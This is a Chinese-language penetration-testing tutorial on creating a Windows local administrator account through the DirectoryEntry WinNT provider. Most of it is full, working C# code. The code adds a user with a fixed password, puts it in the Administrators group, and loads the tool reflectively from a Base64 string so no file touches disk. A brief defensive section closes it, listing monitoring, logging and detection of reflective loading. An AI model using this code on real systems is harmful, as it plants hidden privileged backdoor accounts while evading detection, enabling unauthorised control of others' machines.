Bypass Add Local user
字数 803 2025-08-06 20:12:41
Bypass Add Local User 技术文档
目录
技术概述
本文介绍了一种使用DirectoryEntry类绕过常规方式添加本地用户的技术,主要利用Windows的WinNT提供程序直接操作本地用户和组。该技术可以用于渗透测试中的权限提升和后渗透阶段。
核心原理
- WinNT提供程序:通过
WinNT://hostname,computer路径访问本地计算机的用户和组 - DirectoryEntry类:System.DirectoryServices命名空间下的类,用于与Active Directory和本地SAM数据库交互
- 反射加载:将程序集转换为Base64字符串,运行时动态加载执行,避免文件落地
实现步骤
添加本地用户
- 获取主机名:
string hostname = Dns.GetHostName();
// 或
string hostname = Environment.MachineName;
- 创建DirectoryEntry实例连接本地计算机:
DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
- 添加新用户:
string username = "testuseradd";
string password = "1qaz@WSX..";
DirectoryEntry user = DE.Children.Add(username, "user");
- 设置密码并提交更改:
user.Invoke("SetPassword", new object[] { password });
user.CommitChanges();
添加到管理员组
- 枚举本地组(解决多语言环境下管理员组名称不同的问题):
foreach (DirectoryEntry entry in DE.Children)
{
if (entry.SchemaClassName == "Group")
{
Console.WriteLine(entry.Name);
}
}
- 找到管理员组并添加用户:
DirectoryEntry group = DE.Children.Find("Administrators", "group");
if (group != null)
{
group.Invoke("Add", new object[] { user.Path.ToString() });
}
反射加载技术
- 将程序集转换为Base64字符串:
byte[] buffer = File.ReadAllBytes("AddUser.exe");
string base64str = Convert.ToBase64String(buffer);
- 运行时加载并执行:
byte[] buffer = Convert.FromBase64String(base64str);
Assembly assembly = Assembly.Load(buffer);
// 调用ListGroup方法
Type type = assembly.GetType("AddUser.Test");
MethodInfo method = type.GetMethod("ListGroup");
Object obj = assembly.CreateInstance(method.Name);
method.Invoke(obj, new object[] { hostname, DE });
// 调用Add方法
method = type.GetMethod("Add");
obj = assembly.CreateInstance(method.Name);
method.Invoke(obj, new object[] { username, password, DE });
完整代码分析
主程序结构
using System;
using System.DirectoryServices;
using System.Net;
namespace AddUser
{
internal class Program
{
static void Main(string[] args)
{
string hostname = Dns.GetHostName();
DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
if (args.Length == 1 && args[0] == "--list")
{
ListGroup(hostname, DE);
}
else if (args.Length == 6 && args[0] == "-u" && args[2] == "-p" && args[4] == "-l")
{
string username = args[1];
string password = args[3];
string groupname = args[5];
try
{
Add(username, password, DE);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
public static void ListGroup(string hostname, DirectoryEntry DE)
{
hostname = Dns.GetHostName();
DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
foreach (DirectoryEntry entry in DE.Children)
{
if (entry.SchemaClassName == "Group")
{
Console.WriteLine(entry.Name);
}
}
}
public static void Add(string username, string password, DirectoryEntry DE)
{
DirectoryEntry user = DE.Children.Add(username, "user");
user.Invoke("SetPassword", new object[] { password });
user.CommitChanges();
DirectoryEntry group;
group = DE.Children.Find("Administrators", "group");
if (group != null)
{
group.Invoke("Add", new object[] { user.Path.ToString() });
Console.WriteLine("[*] Account Created Successfully");
Console.WriteLine($"[+] Username: {username}\n[+] Password: {password}");
}
}
}
}
反射加载专用类
public class Test
{
public static void ListGroup(string hostname, DirectoryEntry DE)
{
hostname = Dns.GetHostName();
DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
foreach (DirectoryEntry entry in DE.Children)
{
if (entry.SchemaClassName == "Group")
{
Console.WriteLine(entry.Name);
}
}
}
public static void Add(string username, string password, DirectoryEntry DE)
{
DirectoryEntry user = DE.Children.Add(username, "user");
user.Invoke("SetPassword", new object[] { password });
user.CommitChanges();
DirectoryEntry group;
group = DE.Children.Find("Administrators", "group");
if (group != null)
{
group.Invoke("Add", new object[] { user.Path.ToString() });
Console.WriteLine("[+]" + username + " Created Success");
Console.WriteLine("[+]" + username + " add to group Success");
}
}
}
防御措施
-
监控和限制:
- 监控对
DirectoryEntry类的使用,特别是WinNT://路径 - 限制高权限账户执行此类操作
- 监控对
-
日志记录:
- 启用详细的安全日志记录,监控用户和组的创建修改操作
-
权限控制:
- 遵循最小权限原则,限制非管理员用户执行敏感操作
-
检测反射加载:
- 监控程序集的动态加载行为
- 检测Base64字符串解码后直接加载程序集的行为
-
应用程序白名单:
- 实施应用程序控制策略,只允许授权程序运行
-
密码策略:
- 实施强密码策略,防止弱密码被利用
通过理解这些技术原理和防御措施,安全团队可以更好地检测和防范此类攻击技术。